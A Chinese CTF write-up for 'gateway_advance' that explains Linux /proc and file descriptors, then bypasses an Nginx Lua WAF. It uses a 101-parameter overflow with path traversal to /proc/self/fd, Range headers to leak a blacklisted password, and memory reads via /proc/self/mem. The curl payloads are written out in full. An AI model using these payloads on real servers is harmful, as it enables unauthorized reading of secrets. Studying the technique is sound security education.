声明:本博客为了梳理思路所整理。
gateway_advance
相关知识
lua 是什么?
Lua 是一种非常轻量、简单、快速的编程语言。 它的特点是语法非常简洁;适合嵌入到别的系统里,比如游戏引擎、服务器。
我们常用的 Nginx 就支持 Lua 来写脚本,这种模块叫 OpenResty(或 lua-nginx-module)
,很遗憾,这么写笔者记不住……我们简单的把 Nginx+Lua=OpenResty。只不过这里的加不是简单的集合,而是让 Nginx 变得更聪明,让 Lua 进行辅助。
进程,pid, /proc,句柄,fd,symlink
进程(process)
A process is an instance of a computer program in execution.
就是说,一个进程就是“正在执行中的程序”。
- 你写的
.py
、.exe
是程序(program) - 当你运行它之后,就变成了进程(process)
我们写的代码是程序,运行中的程序是进程。
进程编号 PID (Process ID)
PID 是 Process ID(进程编号)的缩写,是操作系统给每一个“正在运行的进程”分配的一个唯一数字标识符。
你可以在 Linux 中运行:
1 | ps aux |
来查看当前系统中所有运行中的进程和它们的 PID。
PID 是内核用来管理进程的核心方式。
- 杀掉一个进程:
1 | kill 12345 # 杀掉 PID 为 12345 的进程 |
- 查某个程序是否还活着:
1 | ps -p 12345 |
- 查看某个程序的文件描述符:
1 | ls /proc/12345/fd/ |
/proc
Linux 中的 /proc
目录是一个虚拟文件系统,里面每个子目录其实就是一个 PID。
例如:
1 | ls /proc/ |
你会看到:
1 | 1/ |
这些都是进程编号,进入里面可以看到这个进程打开了哪些文件、用的哪个命令启动的等等。
文件描述符 fd(File Descriptor)
fd
是 File Descriptor 的缩写,意思是「文件描述符」。
一个文件本身不会有 fd,但是打开这个文件的进程会有,进程会用 fd 来表示“我打开了这个文件”。Linux 会给你打开的每一个东西,分配一个数字编号,叫“文件描述符”。
Linux 系统中,一切资源都被抽象为“文件”,所以:
- 文件 → 有 fd
- socket → 有 fd
- 管道 → 有 fd
- 设备 /dev/null → 也有 fd
文件描述符编号是啥?
FD 编号 | 含义 |
---|---|
0 |
标准输入(stdin) |
1 |
标准输出(stdout) |
2 |
标准错误(stderr) |
3 以后的 |
是你代码或程序里通过 open() 、socket() 等打开的额外文件或资源 |
假设你在终端输入:
1 | cat flag.txt |
这个时候:
Linux 会创建一个新的进程来运行 cat
,这个程序会打开 flag.txt
,内核会给这个文件分配一个 fd,比如是 3。然后你可以在 /proc/[cat的pid]/fd/3
里看到它。我们可以这么理解: fd 是文件的“编号”,程序要访问文件不是通过路径,而是通过这个编号访问。
在 Linux 里你看到的 /proc/1/fd/
是一个“文件夹”,但它是虚拟的文件夹,不是存在硬盘上的,而是 由内核动态生成的。
它的作用是:显示某个进程当前打开的所有“文件描述符(fd)”。
来看个例子:
1 | ls -l /proc/1/fd/ |
可能输出:
1 | 0 -> /dev/null |
文件描述符 0 是标准输入。这里它指向 /dev/null
,表示:这个进程的输入被重定向到了「黑洞」,永远读取不到任何内容。
/dev/null
是 Linux 中的「黑洞」文件,读取它得不到东西,写进去的东西会被丢弃。
1 | 1 -> /var/log/mylog.txt |
文件描述符 1 是标准输出。它被重定向到了日志文件 /var/log/mylog.txt
。所以这个进程的「正常输出信息」会写入这个日志文件,而不是在屏幕上显示。
1 | 2 -> /dev/null |
文件描述符 2 是标准错误输出(stderr)。也被重定向到了 /dev/null
,表示错误信息直接丢掉了,不显示也不保存。
1 | 3 -> socket:[12345] |
文件描述符 3 是一个 socket(套接字)连接。socket:[12345]
表示这是一个网络连接或 IPC 连接,编号为 12345。
它不是普通文件,而是网络资源,比如某个 TCP 连接。这个数字是内核中的 socket id。
你可以通过:
1 | ls -l /proc/[pid]/fd/3 |
或者:
1 | cat /proc/[pid]/net/tcp |
去进一步查它连接的是谁(比如 IP 和端口)。
1 | 4 -> /tmp/password (deleted) |
文件描述符 4 打开了 /tmp/password
文件。但后面写了 (deleted)
,表示:文件已经从文件系统中被删除,但是这个进程还在用它。
为什么还能用?因为:Linux 删除文件只是删除了目录项(名字),而不是文件本体(inode)。只要还有人用着,文件还在内存里。
我们可以通过:
1 | cat /proc/[pid]/fd/4 |
仍然能读出内容,甚至可以把它拷贝出来:
1 | cp /proc/[pid]/fd/4 /tmp/recovered_password |
这就是恢复“被删文件”的常用办法。
为什么已经删除了,我还可以通过 fd 看到它的内容?
Linux 的文件删除机制是这样的:
- 当你用
rm file.txt
删除一个文件时,Linux 并不会马上“彻底删除”它。 - 它会先把 目录项 删除,但只要有程序正在用这个文件(打开着它),这个文件的“真实内容”还保留在磁盘和内存中。
- 所以,只要有程序还在用这个文件,就可以继续通过文件描述符访问它!
怎么分清 fd 和 pid?
进程对应的是pid,资源对应的是fd。
/proc/self
/proc/self
是一个特殊的“动态符号链接”,永远代表“当前进程的 /proc/[pid]”。
比如你在某个 shell 或 Python 程序里访问 /proc/self/fd
,就是在访问你这个进程的文件描述符表。
如果当前进程 pid 是 12345,那么/proc/self/fd == /proc/12345/fd
句柄(handle)
1 | A **handle** is a reference to a resource used by a process. |
这个词理解起来有点困难,可以理解为 handle 就是被包装过的引用, 为了安全和抽象”,而返回给你的“间接引用“。在 Linux 里面我们不能直接对文件动手,只能以简洁的,也就是 handle 去进行改变。
符号链接(symlink)
symlink
是 符号链接(symbolic link),也叫 软链接,它是 Linux 文件系统中的一种指针型文件,作用相当于“快捷方式”。它本身是一个普通文件,内容是“它指向了哪里”。
/proc/self/fd/6
这个文件名就是一个符号链接。
1 | /home/d/shortcut` 如果是一个 symlink,它可能指向 `/etc/passwd |
看看源码
点开题目,只有一个 hello,world!
那么,读读源码?
1 | FROM openresty/openresty:alpine |
如同它的名字一样,我们可以看到/read_anywhere
想读哪里就读哪里,但使用它需要密码。所以我们要到哪里去找密码?
突破 waf
我们来看/download
的这一句:
1 | proxy_pass http://127.0.0.1/static$arg_filename; |
它的作用是把用户的请求转发给本地服务器的/static/xxx 路径,如果你访问了/download?filename=/etc/passwd
最终就会被转发成:
1 | http://127.0.0.1/static/etc/passwd |
也就是说,这个/download 路径其实是对/static 路径的“代理”。但是由于下面的黑名单,我们无法直接下载 /flag, proc/self/environ
,也无法进行路径穿越
1 | local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"} |
我们要突破 nginx lua waf,下载到密码。
nginx lua waf bypass
【技术分享】Nginx Lua WAF通用绕过方法 - SecPulse.COM | 安全脉搏
Nginx Lua WAF通用绕过方法-安全KER - 安全资讯平台
Nginx Lua获取参数时,默认获取前100个参数值,其余的将被丢弃。
那么我们这里应该发 get 还是 post 参数,或者是 headers?
ngx.req.get_uri_args()
这是 Nginx 的 Lua 扩展提供的函数, 只能在 Nginx 的 Lua 环境 下用。
每个词是什么意思?
1 | ngx.req.get_uri_args() |
部分 | 含义 |
---|---|
ngx |
Nginx 给 Lua 提供的一个“总对象”,代表当前请求的上下文 |
ngx.req |
请求(request)相关的操作集合,比如请求参数、请求体等 |
ngx.req.get_uri_args() |
一个函数,用来获取 URI(URL)中的参数 |
举个例子:
你请求这个网址:
1 | http://example.com/download?filename=test.txt&user=admin |
问号 ?
后面是参数:filename=test.txt
和 user=admin
这时候,你用这段 Lua:
1 | local args = ngx.req.get_uri_args() |
就能拿到一个表(table):
1 | args = { |
你就可以这样用它:
1 | ngx.say(args["filename"]) -- 打印:test.txt |
既然这个函数只能用来获取 URL 里的参数,所以我们这里只能发 get 请求。
由上面的链接可以知道,Nginx Lua Waf,默认只读取前 100 个参数。 如果传了超过 100 个参数,那么 第 101 个之后的参数会被“吃掉”,WAF 根本看不见。
由此我们这里就可以发 101 个参数,在最后一个参数写 filename=[ 我们想要读取的服务器上的文件 ]
但是我们要去哪里读密码呢?毕竟:
1 | os.remove("/flag") |
这两个文件已经被删掉了啊。
但是有可能还有某个进程在用/password 这个资源,所以我们访问/proc/self/fd/?,也许就可以找到。
1 | curl"http://43.138.2.216:17794/download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=%2e%2e%2f%2fproc%2fself%2ffd%2f6" |
我们在 fd6 找到了,但是因为这个过滤的关系:
1 | local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"} |
password 无法显示。
所以我们可以使用 HTTP 的 Range 头,向服务器请求 某个资源的一部分内容,而不是整个资源。
1 | curl -H "Range: bytes=0-6" "http://43.138.2.216:17794/download?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&filename=%2e%2e%2f%2fproc%2fself%2ffd%2f6" |
这样逐步搞出密码
1 | passwordismemeispasswordsoneverwannagiveyouup |
读出 flag(maps 和 mem)
接下去我们先读 /proc/self/maps
,再盯着被删掉的那一部分往下读。
/proc/self/maps
是当前进程(self)内存空间的结构图,列出了哪些地址段被加载了什么(比如代码、库、堆、栈、文件等)。/proc
是 Linux 的一个虚拟文件系统,叫 procfs,专门用来提供运行中进程的信息。self
是个特殊的快捷方式,指代 “当前访问这个文件的进程自身”。maps
是当前进程的“内存映射信息”,也可以理解为“你当前这个程序的内存布局”。
这个时候我们让 AI 写个脚本读 maps:
1 | import requests |
配置文件里 并没有显式写出什么叫 “X-Gateway-Filename” 等请求头,为什么我们要用这个名字?
其实它是通过 Lua 代码里的变量名隐式规定的,OpenResty 提供的 ngx.var.http_XXX
是 用来获取 HTTP 请求头部中 **XXX**
字段的内容。
1 | ngx.var.http_` + 请求头字段名的小写 + 替换掉 `-` 为 `_ |
举个例子:
请求头 | 在 Lua 中怎么获取 | 说明 |
---|---|---|
X-Gateway-Filename |
ngx.var.http_x_gateway_filename |
请求头字段会自动映射为 nginx 变量名 |
X-Gateway-Password |
ngx.var.http_x_gateway_password |
同上 |
X-Gateway-Start |
ngx.var.http_x_gateway_start |
用于偏移读取 |
X-Gateway-Length |
ngx.var.http_x_gateway_length |
用于限制读取长度 |
看 /read_anywhere
:
1 | access_by_lua_block { |
从这段你能看到:
ngx.var.http_x_gateway_password
→ 就是你请求头中的X-Gateway-Password
ngx.var.http_x_gateway_filename
→ 就是你请求头中的X-Gateway-Filename
ngx.var.http_x_gateway_start
和length
也是同理
这些名字没有被写死在配置里,而是通过 Lua 代码访问 ngx.var.http_...
约定得来的。
虽然配置文件没明说“你必须用这些请求头”,但因为代码里用了 ngx.var.http_x_gateway_...
,你必须传入这些名字的请求头,它们才有值,功能才会工作。
结果出来,读这个唯一 deleted 的。
再写个脚本读取 mem
/proc/self/mem
是 Linux 提供的一个接口,允许你直接读取或写入当前进程的任意内存地址。
1 | import requests |